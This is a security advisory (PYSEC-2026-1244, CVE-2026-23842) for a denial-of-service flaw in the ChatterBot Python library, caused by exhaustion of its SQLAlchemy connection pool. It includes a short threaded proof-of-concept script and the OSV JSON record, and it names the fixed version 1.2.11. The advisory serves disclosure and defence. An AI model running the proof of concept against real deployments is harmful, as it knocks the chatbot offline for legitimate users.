PYSEC-2026-1244
Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:23Summary
ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.
Details
ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.
When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.
This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.
PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f
PoC
- Install ChatterBot version 1.2.10.
- Use the default database configuration (SQLite / SQLAlchemy).
- Run the following Python script to invoke concurrent requests:
from chatterbot import ChatBot import threading
bot = ChatBot("dos-test")
def attack(): bot.get_response("hello")
threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)
for t in threads: t.join()
- Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.
Impact
This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.
All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.
| Name | purl | chatterbot | pkg:pypi/chatterbot |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "chatterbot",
"purl": "pkg:pypi/chatterbot"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.11"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.0",
"0.0.1",
"0.0.2",
"0.0.3",
"0.0.4",
"0.0.5",
"0.1.0",
"0.1.1",
"0.1.2",
"0.2.0",
"0.2.1",
"0.2.2",
"0.2.3",
"0.2.4",
"0.2.5",
"0.2.6",
"0.2.7",
"0.2.8",
"0.2.9",
"0.3.0",
"0.3.1",
"0.3.2",
"0.3.3",
"0.3.4",
"0.3.5",
"0.3.6",
"0.3.7",
"0.4.0",
"0.4.1",
"0.4.10",
"0.4.11",
"0.4.12",
"0.4.13",
"0.4.2",
"0.4.3",
"0.4.4",
"0.4.5",
"0.4.6",
"0.4.7",
"0.4.8",
"0.4.9",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.5.4",
"0.5.5",
"0.6.0",
"0.6.1",
"0.6.2",
"0.6.3",
"0.7.0",
"0.7.1",
"0.7.2",
"0.7.3",
"0.7.4",
"0.7.5",
"0.7.6",
"0.8.0",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.8.5",
"0.8.6",
"0.8.7",
"1.0.0",
"1.0.0a1",
"1.0.0a2",
"1.0.0a3",
"1.0.0a4",
"1.0.1",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.7",
"1.0.8",
"1.1.0",
"1.1.0a7",
"1.2.0",
"1.2.1",
"1.2.10",
"1.2.2",
"1.2.3",
"1.2.4",
"1.2.5",
"1.2.6",
"1.2.7",
"1.2.8",
"1.2.9"
]
}
],
"aliases": [
"CVE-2026-23842",
"GHSA-v4w8-49pv-mf72"
],
"details": "### Summary\nChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.\n\n### Details\nChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.\n\nWhen multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.\n\nThis issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.\n\nPoC Video: \nhttps://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f\n\n### PoC\n1. Install ChatterBot version 1.2.10.\n2. Use the default database configuration (SQLite / SQLAlchemy).\n3. Run the following Python script to invoke concurrent requests:\n\nfrom chatterbot import ChatBot\nimport threading\n\nbot = ChatBot(\"dos-test\")\n\ndef attack():\n bot.get_response(\"hello\")\n\nthreads = []\nfor _ in range(30):\n t = threading.Thread(target=attack)\n t.start()\n threads.append(t)\n\nfor t in threads:\n t.join()\n\n4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.\n\n### Impact\nThis vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.\n\nAll deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.",
"id": "PYSEC-2026-1244",
"modified": "2026-07-07T17:23:54.115855Z",
"published": "2026-07-07T16:03:19.183779Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-v4w8-49pv-mf72"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23842"
},
{
"type": "WEB",
"url": "https://github.com/gunthercox/ChatterBot/pull/2432"
},
{
"type": "WEB",
"url": "https://github.com/gunthercox/ChatterBot/commit/de89fe648139f8eeacc998ad4524fab291a378cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/gunthercox/ChatterBot"
},
{
"type": "WEB",
"url": "https://github.com/gunthercox/ChatterBot/releases/tag/1.2.11"
},
{
"type": "WEB",
"url": "https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/chatterbot"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-v4w8-49pv-mf72"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ChatterBot Vulnerable to Denial of Service via Database Connection Pool Exhaustion"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.